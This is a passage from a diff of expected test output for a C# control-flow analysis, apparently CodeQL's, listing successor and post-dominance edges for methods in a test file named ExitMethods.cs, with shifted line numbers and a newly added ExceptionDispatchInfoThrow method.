ExitMethods.cs:79:17:79:28 | exit ErrorAlways2 | -| ExitMethods.cs:80:5:82:5 | {...} | ExitMethods.cs:81:15:81:29 | object creation of type Exception | -| ExitMethods.cs:81:9:81:30 | throw ...; | ExitMethods.cs:79:17:79:28 | exit ErrorAlways2 (abnormal) | -| ExitMethods.cs:81:15:81:29 | object creation of type Exception | ExitMethods.cs:81:9:81:30 | throw ...; | -| ExitMethods.cs:84:17:84:28 | enter ErrorAlways3 | ExitMethods.cs:84:41:84:55 | object creation of type Exception | -| ExitMethods.cs:84:17:84:28 | exit ErrorAlways3 (abnormal) | ExitMethods.cs:84:17:84:28 | exit ErrorAlways3 | -| ExitMethods.cs:84:35:84:55 | throw ... | ExitMethods.cs:84:17:84:28 | exit ErrorAlways3 (abnormal) | -| ExitMethods.cs:84:41:84:55 | object creation of type Exception | ExitMethods.cs:84:35:84:55 | throw ... | -| ExitMethods.cs:86:10:86:13 | enter Exit | ExitMethods.cs:87:5:89:5 | {...} | -| ExitMethods.cs:86:10:86:13 | exit Exit (abnormal) | ExitMethods.cs:86:10:86:13 | exit Exit | -| ExitMethods.cs:87:5:89:5 | {...} | ExitMethods.cs:88:9:88:28 | ...; | -| ExitMethods.cs:88:9:88:27 | call to method Exit | ExitMethods.cs:86:10:86:13 | exit Exit (abnormal) | -| ExitMethods.cs:88:9:88:28 | ...; | ExitMethods.cs:88:26:88:26 | 0 | -| ExitMethods.cs:88:26:88:26 | 0 | ExitMethods.cs:88:9:88:27 | call to method Exit | -| ExitMethods.cs:91:10:91:18 | enter ExitInTry | ExitMethods.cs:92:5:102:5 | {...} | -| ExitMethods.cs:91:10:91:18 | exit ExitInTry (abnormal) | ExitMethods.cs:91:10:91:18 | exit ExitInTry | -| ExitMethods.cs:92:5:102:5 | {...} | ExitMethods.cs:93:9:101:9 | try {...} ... | -| ExitMethods.cs:93:9:101:9 | try {...} ... | ExitMethods.cs:94:9:96:9 | {...} | -| ExitMethods.cs:94:9:96:9 | {...} | ExitMethods.cs:95:13:95:19 | ...; | -| ExitMethods.cs:95:13:95:18 | call to method Exit | ExitMethods.cs:91:10:91:18 | exit ExitInTry (abnormal) | -| ExitMethods.cs:95:13:95:18 | this access | ExitMethods.cs:95:13:95:18 | call to method Exit | -| ExitMethods.cs:95:13:95:19 | ...; | ExitMethods.cs:95:13:95:18 | this access | -| ExitMethods.cs:104:10:104:24 | enter ApplicationExit | ExitMethods.cs:105:5:107:5 | {...} | -| ExitMethods.cs:104:10:104:24 | exit ApplicationExit (abnormal) | ExitMethods.cs:104:10:104:24 | exit ApplicationExit | -| ExitMethods.cs:105:5:107:5 | {...} | ExitMethods.cs:106:9:106:48 | ...; | -| ExitMethods.cs:106:9:106:47 | call to method Exit | ExitMethods.cs:104:10:104:24 | exit ApplicationExit (abnormal) | -| ExitMethods.cs:106:9:106:48 | ...; | ExitMethods.cs:106:9:106:47 | call to method Exit | -| ExitMethods.cs:109:13:109:21 | enter ThrowExpr | ExitMethods.cs:110:5:112:5 | {...} | -| ExitMethods.cs:110:5:112:5 | {...} | ExitMethods.cs:111:16:111:20 | access to parameter input | -| ExitMethods.cs:111:9:111:77 | return ...; | ExitMethods.cs:109:13:109:21 | exit ThrowExpr (normal) | -| ExitMethods.cs:111:16:111:20 | access to parameter input | ExitMethods.cs:111:25:111:25 | 0 | -| ExitMethods.cs:111:16:111:25 | ... != ... | ExitMethods.cs:111:29:111:29 | 1 | -| ExitMethods.cs:111:16:111:25 | ... != ... | ExitMethods.cs:111:69:111:75 | "input" | -| ExitMethods.cs:111:16:111:76 | ... ? ... : ... | ExitMethods.cs:111:9:111:77 | return ...; | -| ExitMethods.cs:111:25:111:25 | 0 | ExitMethods.cs:111:25:111:25 | (...) ... | -| ExitMethods.cs:111:25:111:25 | (...) ... | ExitMethods.cs:111:16:111:25 | ... != ... | -| ExitMethods.cs:111:29:111:29 | 1 | ExitMethods.cs:111:29:111:29 | (...) ... | -| ExitMethods.cs:111:29:111:29 | (...) ... | ExitMethods.cs:111:33:111:37 | access to parameter input | -| ExitMethods.cs:111:29:111:37 | ... / ... | ExitMethods.cs:111:16:111:76 | ... ? ... : ... | -| ExitMethods.cs:111:33:111:37 | access to parameter input | ExitMethods.cs:111:29:111:37 | ... / ... | -| ExitMethods.cs:111:41:111:76 | throw ... | ExitMethods.cs:109:13:109:21 | exit ThrowExpr (abnormal) | -| ExitMethods.cs:111:47:111:76 | object creation of type ArgumentException | ExitMethods.cs:111:41:111:76 | throw ... | -| ExitMethods.cs:111:69:111:75 | "input" | ExitMethods.cs:111:47:111:76 | object creation of type ArgumentException | -| ExitMethods.cs:114:16:114:34 | enter ExtensionMethodCall | ExitMethods.cs:115:5:117:5 | {...} | -| ExitMethods.cs:114:16:114:34 | exit ExtensionMethodCall (normal) | ExitMethods.cs:114:16:114:34 | exit ExtensionMethodCall | -| ExitMethods.cs:115:5:117:5 | {...} | ExitMethods.cs:116:16:116:16 | access to parameter s | -| ExitMethods.cs:116:9:116:39 | return ...; | ExitMethods.cs:114:16:114:34 | exit ExtensionMethodCall (normal) | -| ExitMethods.cs:116:16:116:16 | access to parameter s | ExitMethods.cs:116:27:116:29 | - | -| ExitMethods.cs:116:16:116:30 | call to method Contains | ExitMethods.cs:116:34:116:34 | 0 | -| ExitMethods.cs:116:16:116:30 | call to method Contains | ExitMethods.cs:116:38:116:38 | 1 | -| ExitMethods.cs:116:16:116:38 | ... ? ... : ... | ExitMethods.cs:116:9:116:39 | return ...; | -| ExitMethods.cs:116:27:116:29 | - | ExitMethods.cs:116:16:116:30 | call to method Contains | -| ExitMethods.cs:119:17:119:32 | enter FailingAssertion | ExitMethods.cs:120:5:123:5 | {...} | -| ExitMethods.cs:119:17:119:32 | exit FailingAssertion (abnormal) | ExitMethods.cs:119:17:119:32 | exit FailingAssertion | -| ExitMethods.cs:120:5:123:5 | {...} | ExitMethods.cs:121:9:121:29 | ...; | -| ExitMethods.cs:121:9:121:28 | [assertion failure] call to method IsTrue | ExitMethods.cs:119:17:119:32 | exit FailingAssertion (abnormal) | -| ExitMethods.cs:121:9:121:29 | ...; | ExitMethods.cs:121:23:121:27 | false | -| ExitMethods.cs:121:23:121:27 | false | ExitMethods.cs:121:9:121:28 | [assertion failure] call to method IsTrue | -| ExitMethods.cs:125:17:125:33 | enter FailingAssertion2 | ExitMethods.cs:126:5:129:5 | {...} | -| ExitMethods.cs:125:17:125:33 | exit FailingAssertion2 (abnormal) | ExitMethods.cs:125:17:125:33 | exit FailingAssertion2 | -| ExitMethods.cs:126:5:129:5 | {...} | ExitMethods.cs:127:9:127:27 | ...; | -| ExitMethods.cs:127:9:127:26 | call to method FailingAssertion | ExitMethods.cs:125:17:125:33 | exit FailingAssertion2 (abnormal) | -| ExitMethods.cs:127:9:127:26 | this access | ExitMethods.cs:127:9:127:26 | call to method FailingAssertion | -| ExitMethods.cs:127:9:127:27 | ...; | ExitMethods.cs:127:9:127:26 | this access | -| ExitMethods.cs:131:10:131:20 | enter AssertFalse | ExitMethods.cs:131:48:131:48 | access to parameter b | -| ExitMethods.cs:131:33:131:49 | [assertion failure] call to method IsFalse | ExitMethods.cs:131:10:131:20 | exit AssertFalse (abnormal) | -| ExitMethods.cs:131:33:131:49 | [assertion success] call to method IsFalse | ExitMethods.cs:131:10:131:20 | exit AssertFalse (normal) | -| ExitMethods.cs:131:48:131:48 | access to parameter b | ExitMethods.cs:131:33:131:49 | [assertion failure] call to method IsFalse | -| ExitMethods.cs:131:48:131:48 | access to parameter b | ExitMethods.cs:131:33:131:49 | [assertion success] call to method IsFalse | -| ExitMethods.cs:133:17:133:33 | enter FailingAssertion3 | ExitMethods.cs:134:5:137:5 | {...} | -| ExitMethods.cs:133:17:133:33 | exit FailingAssertion3 (abnormal) | ExitMethods.cs:133:17:133:33 | exit FailingAssertion3 | -| ExitMethods.cs:134:5:137:5 | {...} | ExitMethods.cs:135:9:135:26 | ...; | -| ExitMethods.cs:135:9:135:25 | [assertion failure] call to method AssertFalse | ExitMethods.cs:133:17:133:33 | exit FailingAssertion3 (abnormal) | -| ExitMethods.cs:135:9:135:25 | this access | ExitMethods.cs:135:21:135:24 | true | -| ExitMethods.cs:135:9:135:26 | ...; | ExitMethods.cs:135:9:135:25 | this access | -| ExitMethods.cs:135:21:135:24 | true | ExitMethods.cs:135:9:135:25 | [assertion failure] call to method AssertFalse | +| ExitMethods.cs:8:10:8:11 | enter M1 | ExitMethods.cs:9:5:12:5 | {...} | +| ExitMethods.cs:8:10:8:11 | exit M1 (normal) | ExitMethods.cs:8:10:8:11 | exit M1 | +| ExitMethods.cs:9:5:12:5 | {...} | ExitMethods.cs:10:9:10:25 | ...; | +| ExitMethods.cs:10:9:10:24 | call to method ErrorMaybe | ExitMethods.cs:11:9:11:15 | return ...; | +| ExitMethods.cs:10:9:10:25 | ...; | ExitMethods.cs:10:20:10:23 | true | +| ExitMethods.cs:10:20:10:23 | true | ExitMethods.cs:10:9:10:24 | call to method ErrorMaybe | +| ExitMethods.cs:11:9:11:15 | return ...; | ExitMethods.cs:8:10:8:11 | exit M1 (normal) | +| ExitMethods.cs:14:10:14:11 | enter M2 | ExitMethods.cs:15:5:18:5 | {...} | +| ExitMethods.cs:14:10:14:11 | exit M2 (normal) | ExitMethods.cs:14:10:14:11 | exit M2 | +| ExitMethods.cs:15:5:18:5 | {...} | ExitMethods.cs:16:9:16:26 | ...; | +| ExitMethods.cs:16:9:16:25 | call to method ErrorMaybe | ExitMethods.cs:17:9:17:15 | return ...; | +| ExitMethods.cs:16:9:16:26 | ...; | ExitMethods.cs:16:20:16:24 | false | +| ExitMethods.cs:16:20:16:24 | false | ExitMethods.cs:16:9:16:25 | call to method ErrorMaybe | +| ExitMethods.cs:17:9:17:15 | return ...; | ExitMethods.cs:14:10:14:11 | exit M2 (normal) | +| ExitMethods.cs:20:10:20:11 | enter M3 | ExitMethods.cs:21:5:24:5 | {...} | +| ExitMethods.cs:20:10:20:11 | exit M3 (abnormal) | ExitMethods.cs:20:10:20:11 | exit M3 | +| ExitMethods.cs:21:5:24:5 | {...} | ExitMethods.cs:22:9:22:26 | ...; | +| ExitMethods.cs:22:9:22:25 | call to method ErrorAlways | ExitMethods.cs:20:10:20:11 | exit M3 (abnormal) | +| ExitMethods.cs:22:9:22:26 | ...; | ExitMethods.cs:22:21:22:24 | true | +| ExitMethods.cs:22:21:22:24 | true | ExitMethods.cs:22:9:22:25 | call to method ErrorAlways | +| ExitMethods.cs:26:10:26:11 | enter M4 | ExitMethods.cs:27:5:30:5 | {...} | +| ExitMethods.cs:26:10:26:11 | exit M4 (abnormal) | ExitMethods.cs:26:10:26:11 | exit M4 | +| ExitMethods.cs:27:5:30:5 | {...} | ExitMethods.cs:28:9:28:15 | ...; | +| ExitMethods.cs:28:9:28:14 | call to method Exit | ExitMethods.cs:26:10:26:11 | exit M4 (abnormal) | +| ExitMethods.cs:28:9:28:14 | this access | ExitMethods.cs:28:9:28:14 | call to method Exit | +| ExitMethods.cs:28:9:28:15 | ...; | ExitMethods.cs:28:9:28:14 | this access | +| ExitMethods.cs:32:10:32:11 | enter M5 | ExitMethods.cs:33:5:36:5 | {...} | +| ExitMethods.cs:32:10:32:11 | exit M5 (abnormal) | ExitMethods.cs:32:10:32:11 | exit M5 | +| ExitMethods.cs:33:5:36:5 | {...} | ExitMethods.cs:34:9:34:26 | ...; | +| ExitMethods.cs:34:9:34:25 | call to method ApplicationExit | ExitMethods.cs:32:10:32:11 | exit M5 (abnormal) | +| ExitMethods.cs:34:9:34:25 | this access | ExitMethods.cs:34:9:34:25 | call to method ApplicationExit | +| ExitMethods.cs:34:9:34:26 | ...; | ExitMethods.cs:34:9:34:25 | this access | +| ExitMethods.cs:38:10:38:11 | enter M6 | ExitMethods.cs:39:5:52:5 | {...} | +| ExitMethods.cs:38:10:38:11 | exit M6 (normal) | ExitMethods.cs:38:10:38:11 | exit M6 | +| ExitMethods.cs:39:5:52:5 | {...} | ExitMethods.cs:40:9:51:9 | try {...} ... | +| ExitMethods.cs:40:9:51:9 | try {...} ... | ExitMethods.cs:41:9:43:9 | {...} | +| ExitMethods.cs:41:9:43:9 | {...} | ExitMethods.cs:42:13:42:31 | ...; | +| ExitMethods.cs:42:13:42:30 | call to method ErrorAlways | ExitMethods.cs:44:9:47:9 | [exception: ArgumentException] catch (...) {...} | +| ExitMethods.cs:42:13:42:30 | call to method ErrorAlways | ExitMethods.cs:44:9:47:9 | [exception: Exception] catch (...) {...} | +| ExitMethods.cs:42:13:42:31 | ...; | ExitMethods.cs:42:25:42:29 | false | +| ExitMethods.cs:42:25:42:29 | false | ExitMethods.cs:42:13:42:30 | call to method ErrorAlways | +| ExitMethods.cs:44:9:47:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:48:9:51:9 | [exception: Exception] catch (...) {...} | +| ExitMethods.cs:45:9:47:9 | {...} | ExitMethods.cs:46:13:46:19 | return ...; | +| ExitMethods.cs:48:9:51:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:49:9:51:9 | {...} | +| ExitMethods.cs:49:9:51:9 | {...} | ExitMethods.cs:50:13:50:19 | return ...; | +| ExitMethods.cs:54:10:54:11 | enter M7 | ExitMethods.cs:55:5:58:5 | {...} | +| ExitMethods.cs:54:10:54:11 | exit M7 (abnormal) | ExitMethods.cs:54:10:54:11 | exit M7 | +| ExitMethods.cs:55:5:58:5 | {...} | ExitMethods.cs:56:9:56:23 | ...; | +| ExitMethods.cs:56:9:56:22 | call to method ErrorAlways2 | ExitMethods.cs:54:10:54:11 | exit M7 (abnormal) | +| ExitMethods.cs:56:9:56:23 | ...; | ExitMethods.cs:56:9:56:22 | call to method ErrorAlways2 | +| ExitMethods.cs:60:10:60:11 | enter M8 | ExitMethods.cs:61:5:64:5 | {...} | +| ExitMethods.cs:60:10:60:11 | exit M8 (abnormal) | ExitMethods.cs:60:10:60:11 | exit M8 | +| ExitMethods.cs:61:5:64:5 | {...} | ExitMethods.cs:62:9:62:23 | ...; | +| ExitMethods.cs:62:9:62:22 | call to method ErrorAlways3 | ExitMethods.cs:60:10:60:11 | exit M8 (abnormal) | +| ExitMethods.cs:62:9:62:23 | ...; | ExitMethods.cs:62:9:62:22 | call to method ErrorAlways3 | +| ExitMethods.cs:66:17:66:26 | enter ErrorMaybe | ExitMethods.cs:67:5:70:5 | {...} | +| ExitMethods.cs:67:5:70:5 | {...} | ExitMethods.cs:68:9:69:34 | if (...) ... | +| ExitMethods.cs:68:9:69:34 | if (...) ... | ExitMethods.cs:68:13:68:13 | access to parameter b | +| ExitMethods.cs:68:13:68:13 | access to parameter b | ExitMethods.cs:66:17:66:26 | exit ErrorMaybe (normal) | +| ExitMethods.cs:68:13:68:13 | access to parameter b | ExitMethods.cs:69:19:69:33 | object creation of type Exception | +| ExitMethods.cs:69:13:69:34 | throw ...; | ExitMethods.cs:66:17:66:26 | exit ErrorMaybe (abnormal) | +| ExitMethods.cs:69:19:69:33 | object creation of type Exception | ExitMethods.cs:69:13:69:34 | throw ...; | +| ExitMethods.cs:72:17:72:27 | enter ErrorAlways | ExitMethods.cs:73:5:78:5 | {...} | +| ExitMethods.cs:72:17:72:27 | exit ErrorAlways (abnormal) | ExitMethods.cs:72:17:72:27 | exit ErrorAlways | +| ExitMethods.cs:73:5:78:5 | {...} | ExitMethods.cs:74:9:77:45 | if (...) ... | +| ExitMethods.cs:74:9:77:45 | if (...) ... | ExitMethods.cs:74:13:74:13 | access to parameter b | +| ExitMethods.cs:74:13:74:13 | access to parameter b | ExitMethods.cs:75:19:75:33 | object creation of type Exception | +| ExitMethods.cs:74:13:74:13 | access to parameter b | ExitMethods.cs:77:41:77:43 | "b" | +| ExitMethods.cs:75:19:75:33 | object creation of type Exception | ExitMethods.cs:75:13:75:34 | throw ...; | +| ExitMethods.cs:77:19:77:44 | object creation of type ArgumentException | ExitMethods.cs:77:13:77:45 | throw ...; | +| ExitMethods.cs:77:41:77:43 | "b" | ExitMethods.cs:77:19:77:44 | object creation of type ArgumentException | +| ExitMethods.cs:80:17:80:28 | enter ErrorAlways2 | ExitMethods.cs:81:5:83:5 | {...} | +| ExitMethods.cs:80:17:80:28 | exit ErrorAlways2 (abnormal) | ExitMethods.cs:80:17:80:28 | exit ErrorAlways2 | +| ExitMethods.cs:81:5:83:5 | {...} | ExitMethods.cs:82:15:82:29 | object creation of type Exception | +| ExitMethods.cs:82:9:82:30 | throw ...; | ExitMethods.cs:80:17:80:28 | exit ErrorAlways2 (abnormal) | +| ExitMethods.cs:82:15:82:29 | object creation of type Exception | ExitMethods.cs:82:9:82:30 | throw ...; | +| ExitMethods.cs:85:17:85:28 | enter ErrorAlways3 | ExitMethods.cs:85:41:85:55 | object creation of type Exception | +| ExitMethods.cs:85:17:85:28 | exit ErrorAlways3 (abnormal) | ExitMethods.cs:85:17:85:28 | exit ErrorAlways3 | +| ExitMethods.cs:85:35:85:55 | throw ... | ExitMethods.cs:85:17:85:28 | exit ErrorAlways3 (abnormal) | +| ExitMethods.cs:85:41:85:55 | object creation of type Exception | ExitMethods.cs:85:35:85:55 | throw ... | +| ExitMethods.cs:87:10:87:13 | enter Exit | ExitMethods.cs:88:5:90:5 | {...} | +| ExitMethods.cs:87:10:87:13 | exit Exit (abnormal) | ExitMethods.cs:87:10:87:13 | exit Exit | +| ExitMethods.cs:88:5:90:5 | {...} | ExitMethods.cs:89:9:89:28 | ...; | +| ExitMethods.cs:89:9:89:27 | call to method Exit | ExitMethods.cs:87:10:87:13 | exit Exit (abnormal) | +| ExitMethods.cs:89:9:89:28 | ...; | ExitMethods.cs:89:26:89:26 | 0 | +| ExitMethods.cs:89:26:89:26 | 0 | ExitMethods.cs:89:9:89:27 | call to method Exit | +| ExitMethods.cs:92:10:92:18 | enter ExitInTry | ExitMethods.cs:93:5:103:5 | {...} | +| ExitMethods.cs:92:10:92:18 | exit ExitInTry (abnormal) | ExitMethods.cs:92:10:92:18 | exit ExitInTry | +| ExitMethods.cs:93:5:103:5 | {...} | ExitMethods.cs:94:9:102:9 | try {...} ... | +| ExitMethods.cs:94:9:102:9 | try {...} ... | ExitMethods.cs:95:9:97:9 | {...} | +| ExitMethods.cs:95:9:97:9 | {...} | ExitMethods.cs:96:13:96:19 | ...; | +| ExitMethods.cs:96:13:96:18 | call to method Exit | ExitMethods.cs:92:10:92:18 | exit ExitInTry (abnormal) | +| ExitMethods.cs:96:13:96:18 | this access | ExitMethods.cs:96:13:96:18 | call to method Exit | +| ExitMethods.cs:96:13:96:19 | ...; | ExitMethods.cs:96:13:96:18 | this access | +| ExitMethods.cs:105:10:105:24 | enter ApplicationExit | ExitMethods.cs:106:5:108:5 | {...} | +| ExitMethods.cs:105:10:105:24 | exit ApplicationExit (abnormal) | ExitMethods.cs:105:10:105:24 | exit ApplicationExit | +| ExitMethods.cs:106:5:108:5 | {...} | ExitMethods.cs:107:9:107:48 | ...; | +| ExitMethods.cs:107:9:107:47 | call to method Exit | ExitMethods.cs:105:10:105:24 | exit ApplicationExit (abnormal) | +| ExitMethods.cs:107:9:107:48 | ...; | ExitMethods.cs:107:9:107:47 | call to method Exit | +| ExitMethods.cs:110:13:110:21 | enter ThrowExpr | ExitMethods.cs:111:5:113:5 | {...} | +| ExitMethods.cs:111:5:113:5 | {...} | ExitMethods.cs:112:16:112:20 | access to parameter input | +| ExitMethods.cs:112:9:112:77 | return ...; | ExitMethods.cs:110:13:110:21 | exit ThrowExpr (normal) | +| ExitMethods.cs:112:16:112:20 | access to parameter input | ExitMethods.cs:112:25:112:25 | 0 | +| ExitMethods.cs:112:16:112:25 | ... != ... | ExitMethods.cs:112:29:112:29 | 1 | +| ExitMethods.cs:112:16:112:25 | ... != ... | ExitMethods.cs:112:69:112:75 | "input" | +| ExitMethods.cs:112:16:112:76 | ... ? ... : ... | ExitMethods.cs:112:9:112:77 | return ...; | +| ExitMethods.cs:112:25:112:25 | 0 | ExitMethods.cs:112:25:112:25 | (...) ... | +| ExitMethods.cs:112:25:112:25 | (...) ... | ExitMethods.cs:112:16:112:25 | ... != ... | +| ExitMethods.cs:112:29:112:29 | 1 | ExitMethods.cs:112:29:112:29 | (...) ... | +| ExitMethods.cs:112:29:112:29 | (...) ... | ExitMethods.cs:112:33:112:37 | access to parameter input | +| ExitMethods.cs:112:29:112:37 | ... / ... | ExitMethods.cs:112:16:112:76 | ... ? ... : ... | +| ExitMethods.cs:112:33:112:37 | access to parameter input | ExitMethods.cs:112:29:112:37 | ... / ... | +| ExitMethods.cs:112:41:112:76 | throw ... | ExitMethods.cs:110:13:110:21 | exit ThrowExpr (abnormal) | +| ExitMethods.cs:112:47:112:76 | object creation of type ArgumentException | ExitMethods.cs:112:41:112:76 | throw ... | +| ExitMethods.cs:112:69:112:75 | "input" | ExitMethods.cs:112:47:112:76 | object creation of type ArgumentException | +| ExitMethods.cs:115:16:115:34 | enter ExtensionMethodCall | ExitMethods.cs:116:5:118:5 | {...} | +| ExitMethods.cs:115:16:115:34 | exit ExtensionMethodCall (normal) | ExitMethods.cs:115:16:115:34 | exit ExtensionMethodCall | +| ExitMethods.cs:116:5:118:5 | {...} | ExitMethods.cs:117:16:117:16 | access to parameter s | +| ExitMethods.cs:117:9:117:39 | return ...; | ExitMethods.cs:115:16:115:34 | exit ExtensionMethodCall (normal) | +| ExitMethods.cs:117:16:117:16 | access to parameter s | ExitMethods.cs:117:27:117:29 | - | +| ExitMethods.cs:117:16:117:30 | call to method Contains | ExitMethods.cs:117:34:117:34 | 0 | +| ExitMethods.cs:117:16:117:30 | call to method Contains | ExitMethods.cs:117:38:117:38 | 1 | +| ExitMethods.cs:117:16:117:38 | ... ? ... : ... | ExitMethods.cs:117:9:117:39 | return ...; | +| ExitMethods.cs:117:27:117:29 | - | ExitMethods.cs:117:16:117:30 | call to method Contains | +| ExitMethods.cs:120:17:120:32 | enter FailingAssertion | ExitMethods.cs:121:5:124:5 | {...} | +| ExitMethods.cs:120:17:120:32 | exit FailingAssertion (abnormal) | ExitMethods.cs:120:17:120:32 | exit FailingAssertion | +| ExitMethods.cs:121:5:124:5 | {...} | ExitMethods.cs:122:9:122:29 | ...; | +| ExitMethods.cs:122:9:122:28 | [assertion failure] call to method IsTrue | ExitMethods.cs:120:17:120:32 | exit FailingAssertion (abnormal) | +| ExitMethods.cs:122:9:122:29 | ...; | ExitMethods.cs:122:23:122:27 | false | +| ExitMethods.cs:122:23:122:27 | false | ExitMethods.cs:122:9:122:28 | [assertion failure] call to method IsTrue | +| ExitMethods.cs:126:17:126:33 | enter FailingAssertion2 | ExitMethods.cs:127:5:130:5 | {...} | +| ExitMethods.cs:126:17:126:33 | exit FailingAssertion2 (abnormal) | ExitMethods.cs:126:17:126:33 | exit FailingAssertion2 | +| ExitMethods.cs:127:5:130:5 | {...} | ExitMethods.cs:128:9:128:27 | ...; | +| ExitMethods.cs:128:9:128:26 | call to method FailingAssertion | ExitMethods.cs:126:17:126:33 | exit FailingAssertion2 (abnormal) | +| ExitMethods.cs:128:9:128:26 | this access | ExitMethods.cs:128:9:128:26 | call to method FailingAssertion | +| ExitMethods.cs:128:9:128:27 | ...; | ExitMethods.cs:128:9:128:26 | this access | +| ExitMethods.cs:132:10:132:20 | enter AssertFalse | ExitMethods.cs:132:48:132:48 | access to parameter b | +| ExitMethods.cs:132:33:132:49 | [assertion failure] call to method IsFalse | ExitMethods.cs:132:10:132:20 | exit AssertFalse (abnormal) | +| ExitMethods.cs:132:33:132:49 | [assertion success] call to method IsFalse | ExitMethods.cs:132:10:132:20 | exit AssertFalse (normal) | +| ExitMethods.cs:132:48:132:48 | access to parameter b | ExitMethods.cs:132:33:132:49 | [assertion failure] call to method IsFalse | +| ExitMethods.cs:132:48:132:48 | access to parameter b | ExitMethods.cs:132:33:132:49 | [assertion success] call to method IsFalse | +| ExitMethods.cs:134:17:134:33 | enter FailingAssertion3 | ExitMethods.cs:135:5:138:5 | {...} | +| ExitMethods.cs:134:17:134:33 | exit FailingAssertion3 (abnormal) | ExitMethods.cs:134:17:134:33 | exit FailingAssertion3 | +| ExitMethods.cs:135:5:138:5 | {...} | ExitMethods.cs:136:9:136:26 | ...; | +| ExitMethods.cs:136:9:136:25 | [assertion failure] call to method AssertFalse | ExitMethods.cs:134:17:134:33 | exit FailingAssertion3 (abnormal) | +| ExitMethods.cs:136:9:136:25 | this access | ExitMethods.cs:136:21:136:24 | true | +| ExitMethods.cs:136:9:136:26 | ...; | ExitMethods.cs:136:9:136:25 | this access | +| ExitMethods.cs:136:21:136:24 | true | ExitMethods.cs:136:9:136:25 | [assertion failure] call to method AssertFalse | +| ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | ExitMethods.cs:141:5:147:5 | {...} | +| ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (normal) | ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow | +| ExitMethods.cs:141:5:147:5 | {...} | ExitMethods.cs:142:9:145:53 | if (...) ... | +| ExitMethods.cs:142:9:145:53 | if (...) ... | ExitMethods.cs:142:13:142:13 | access to parameter b | +| ExitMethods.cs:142:13:142:13 | access to parameter b | ExitMethods.cs:143:13:143:43 | ...; | +| ExitMethods.cs:142:13:142:13 | access to parameter b | ExitMethods.cs:145:13:145:53 | ...; | +| ExitMethods.cs:143:13:143:43 | ...; | ExitMethods.cs:143:41:143:41 | access to parameter e | +| ExitMethods.cs:143:41:143:41 | access to parameter e | ExitMethods.cs:143:13:143:42 | call to method Throw | +| ExitMethods.cs:145:13:145:44 | call to method Capture | ExitMethods.cs:145:13:145:52 | call to method Throw | +| ExitMethods.cs:145:13:145:53 | ...; | ExitMethods.cs:145:43:145:43 | access to parameter e | +| ExitMethods.cs:145:43:145:43 | access to parameter e | ExitMethods.cs:145:13:145:44 | call to method Capture | +| ExitMethods.cs:146:9:146:33 | call to method WriteLine | ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (normal) | +| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:146:27:146:32 | "dead" | +| ExitMethods.cs:146:27:146:32 | "dead" | ExitMethods.cs:146:9:146:33 | call to method WriteLine | | Extensions.cs:5:23:5:29 | enter ToInt32 | Extensions.cs:6:5:8:5 | {...} | | Extensions.cs:5:23:5:29 | exit ToInt32 (normal) | Extensions.cs:5:23:5:29 | exit ToInt32 | | Extensions.cs:6:5:8:5 | {...} | Extensions.cs:7:28:7:28 | access to parameter s | @@ -5582,147 +5596,161 @@ postDominance | Conditions.cs:149:38:149:47 | $"..." | Conditions.cs:149:45:149:45 | access to local variable s | | Conditions.cs:149:40:149:43 | "b = " | Conditions.cs:149:13:149:49 | ...; | | Conditions.cs:149:45:149:45 | access to local variable s | Conditions.cs:149:40:149:43 | "b = " | -| ExitMethods.cs:7:10:7:11 | exit M1 | ExitMethods.cs:7:10:7:11 | exit M1 (normal) | -| ExitMethods.cs:7:10:7:11 | exit M1 (normal) | ExitMethods.cs:10:9:10:15 | return ...; | -| ExitMethods.cs:8:5:11:5 | {...} | ExitMethods.cs:7:10:7:11 | enter M1 | -| ExitMethods.cs:9:9:9:24 | call to method ErrorMaybe | ExitMethods.cs:9:20:9:23 | true | -| ExitMethods.cs:9:9:9:25 | ...; | ExitMethods.cs:8:5:11:5 | {...} | -| ExitMethods.cs:9:20:9:23 | true | ExitMethods.cs:9:9:9:25 | ...; | -| ExitMethods.cs:10:9:10:15 | return ...; | ExitMethods.cs:9:9:9:24 | call to method ErrorMaybe | -| ExitMethods.cs:13:10:13:11 | exit M2 | ExitMethods.cs:13:10:13:11 | exit M2 (normal) | -| ExitMethods.cs:13:10:13:11 | exit M2 (normal) | ExitMethods.cs:16:9:16:15 | return ...; | -| ExitMethods.cs:14:5:17:5 | {...} | ExitMethods.cs:13:10:13:11 | enter M2 | -| ExitMethods.cs:15:9:15:25 | call to method ErrorMaybe | ExitMethods.cs:15:20:15:24 | false | -| ExitMethods.cs:15:9:15:26 | ...; | ExitMethods.cs:14:5:17:5 | {...} | -| ExitMethods.cs:15:20:15:24 | false | ExitMethods.cs:15:9:15:26 | ...; | -| ExitMethods.cs:16:9:16:15 | return ...; | ExitMethods.cs:15:9:15:25 | call to method ErrorMaybe | -| ExitMethods.cs:19:10:19:11 | exit M3 | ExitMethods.cs:19:10:19:11 | exit M3 (abnormal) | -| ExitMethods.cs:19:10:19:11 | exit M3 (abnormal) | ExitMethods.cs:21:9:21:25 | call to method ErrorAlways | -| ExitMethods.cs:20:5:23:5 | {...} | ExitMethods.cs:19:10:19:11 | enter M3 | -| ExitMethods.cs:21:9:21:25 | call to method ErrorAlways | ExitMethods.cs:21:21:21:24 | true | -| ExitMethods.cs:21:9:21:26 | ...; | ExitMethods.cs:20:5:23:5 | {...} | -| ExitMethods.cs:21:21:21:24 | true | ExitMethods.cs:21:9:21:26 | ...; | -| ExitMethods.cs:25:10:25:11 | exit M4 | ExitMethods.cs:25:10:25:11 | exit M4 (abnormal) | -| ExitMethods.cs:25:10:25:11 | exit M4 (abnormal) | ExitMethods.cs:27:9:27:14 | call to method Exit | -| ExitMethods.cs:26:5:29:5 | {...} | ExitMethods.cs:25:10:25:11 | enter M4 | -| ExitMethods.cs:27:9:27:14 | call to method Exit | ExitMethods.cs:27:9:27:14 | this access | -| ExitMethods.cs:27:9:27:14 | this access | ExitMethods.cs:27:9:27:15 | ...; | -| ExitMethods.cs:27:9:27:15 | ...; | ExitMethods.cs:26:5:29:5 | {...} | -| ExitMethods.cs:31:10:31:11 | exit M5 | ExitMethods.cs:31:10:31:11 | exit M5 (abnormal) | -| ExitMethods.cs:31:10:31:11 | exit M5 (abnormal) | ExitMethods.cs:33:9:33:25 | call to method 